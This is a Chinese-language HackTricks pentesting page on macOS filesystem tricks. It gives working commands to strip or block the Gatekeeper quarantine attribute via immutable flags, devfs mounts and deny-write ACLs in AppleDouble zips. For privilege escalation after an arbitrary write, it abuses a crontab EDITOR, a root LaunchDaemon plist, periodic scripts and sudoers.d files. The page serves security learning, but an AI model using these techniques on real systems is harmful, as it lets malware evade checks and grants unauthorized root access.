.. | ||
macos-xattr-acls-extra-stuff.md | ||
README.md |
macOS文件系统技巧
☁️ HackTricks云平台 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品——The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或者关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
POSIX权限组合
目录的权限:
- 读取 - 可以枚举目录条目
- 写入 - 可以删除/写入目录中的文件
- 执行 - 允许遍历目录 - 如果没有此权限,无法访问其中的任何文件或子目录。
危险组合
如何覆盖由root拥有的文件/文件夹,但是:
- 路径中的一个父目录所有者是用户
- 路径中的一个父目录所有者是具有写入权限的用户组
- 用户组对文件具有写入权限
使用上述任何组合,攻击者可以通过注入一个符号/硬链接到预期路径来获得特权任意写入。
文件夹根目录 R+X 特殊情况
如果一个目录中有文件,其中只有root具有R+X访问权限,那么其他人将无法访问这些文件。因此,如果存在一个漏洞,允许将一个由用户可读取但由于该限制而无法读取的文件从该文件夹移动到另一个文件夹,则可以滥用该漏洞来读取这些文件。
符号链接 / 硬链接
如果一个特权进程正在写入文件,该文件可能由权限较低的用户控制,或者可能由权限较低的用户先前创建。用户可以通过符号链接或硬链接将其指向另一个文件,特权进程将在该文件上进行写入。
在其他部分中查看攻击者可以滥用任意写入来提升权限的地方。
任意FD
如果你可以让一个进程以高权限打开文件或文件夹,你可以滥用**crontab
来使用EDITOR=exploit.py
**打开/etc/sudoers.d
中的文件,这样exploit.py
将获得/etc/sudoers
中的文件的FD并滥用它。
例如:https://youtu.be/f1HA5QhLQ7Y?t=21098
避免隔离xattrs的技巧
删除它
xattr -d com.apple.quarantine /path/to/file_or_app
uchg / uchange / uimmutable 标志
如果一个文件/文件夹具有这个不可变属性,就无法在其上放置 xattr。
echo asd > /tmp/asd
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
xattr -w com.apple.quarantine "" /tmp/asd
xattr: [Errno 1] Operation not permitted: '/tmp/asd'
ls -lO /tmp/asd
# check the "uchg" in the output
defvfs 挂载
devfs 挂载不支持 xattr,更多信息请参考 CVE-2023-32364
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
写入扩展属性访问控制列表(ACL)
此ACL防止向文件添加xattrs
。
rm -rf /tmp/test*
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
ls -le /tmp/test
ditto -c -k test test.zip
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
cd /tmp
echo y | rm test
# Decompress it with ditto
ditto -x -k --rsrc test.zip .
ls -le /tmp/test
# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
open test.zip
sleep 1
ls -le /tmp/test
com.apple.acl.text xattr + AppleDouble
AppleDouble文件格式会复制包括ACEs在内的文件。
在源代码中,可以看到存储在名为**com.apple.acl.text
的xattr中的ACL文本表示将被设置为解压后文件的ACL。因此,如果您将应用程序压缩为使用AppleDouble**文件格式的zip文件,并且该ACL阻止其他xattr写入它...则隔离xattr不会设置到应用程序中:
有关更多信息,请查看原始报告。
要复制此操作,首先需要获取正确的acl字符串:
# Everything will be happening here
mkdir /tmp/temp_xattrs
cd /tmp/temp_xattrs
# Create a folder and a file with the acls and xattr
mkdir del
mkdir del/test_fold
echo test > del/test_fold/test_file
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" del/test_fold/test_file
ditto -c -k del test.zip
# uncomporess to get it back
ditto -x -k --rsrc test.zip .
ls -le test
(请注意,即使这样做,沙盒也会在此之前写入隔离的xattr)
虽然不是必需的,但我还是把它放在这里以防万一:
{% content-ref url="macos-xattr-acls-extra-stuff.md" %} macos-xattr-acls-extra-stuff.md {% endcontent-ref %}
绕过代码签名
Bundle包含文件**_CodeSignature/CodeResources
,其中包含bundle中每个文件的哈希值**。请注意,CodeResources的哈希值也嵌入在可执行文件中,因此我们不能对其进行更改。
然而,有一些文件的签名不会被检查,这些文件在plist中具有omit键,例如:
<dict>
...
<key>rules</key>
<dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
<key>rules2</key>
...
<key>^(.*/)?\.DS_Store$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>2000</real>
</dict>
...
<key>^PkgInfo$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>20</real>
</dict>
...
<key>^Resources/.*\.lproj/locversion.plist$</key>
<dict>
<key>omit</key>
<true/>
<key>weight</key>
<real>1100</real>
</dict>
...
</dict>
可以使用以下命令行计算资源的签名:
{% code overflow="wrap" %}
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
挂载DMG
用户可以挂载自定义的DMG,甚至可以覆盖一些现有的文件夹。以下是创建包含自定义内容的自定义DMG包的方法:
overflow="wrap"
# Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt
# Mount it
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null
# Add custom content to the volume
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file
# Detach it
hdiutil detach /private/tmp/mnt 1>/dev/null
# Next time you mount it, it will have the custom content you wrote
# You can also create a dmg from an app using:
hdiutil create -srcfolder justsome.app justsome.dmg
{% endcode %}
任意写入
定期的 sh 脚本
如果你的脚本可以被解释为一个 shell 脚本,你可以覆盖 /etc/periodic/daily/999.local
shell 脚本,该脚本将每天触发一次。
你可以使用以下命令伪造执行该脚本:sudo periodic daily
守护进程
编写一个任意的 LaunchDaemon,比如 /Library/LaunchDaemons/xyz.hacktricks.privesc.plist
,其中包含一个执行任意脚本的 plist 文件,例如:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
只需生成脚本/Applications/Scripts/privesc.sh
,其中包含您想以root身份运行的命令。
Sudoers文件
如果您具有任意写入权限,可以在**/etc/sudoers.d/
文件夹中创建一个文件,授予自己sudo**权限。
参考资料
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 您在网络安全公司工作吗?您想在HackTricks中看到您的公司广告吗?或者您想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看SUBSCRIPTION PLANS!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或在Twitter上关注我🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享您的黑客技巧。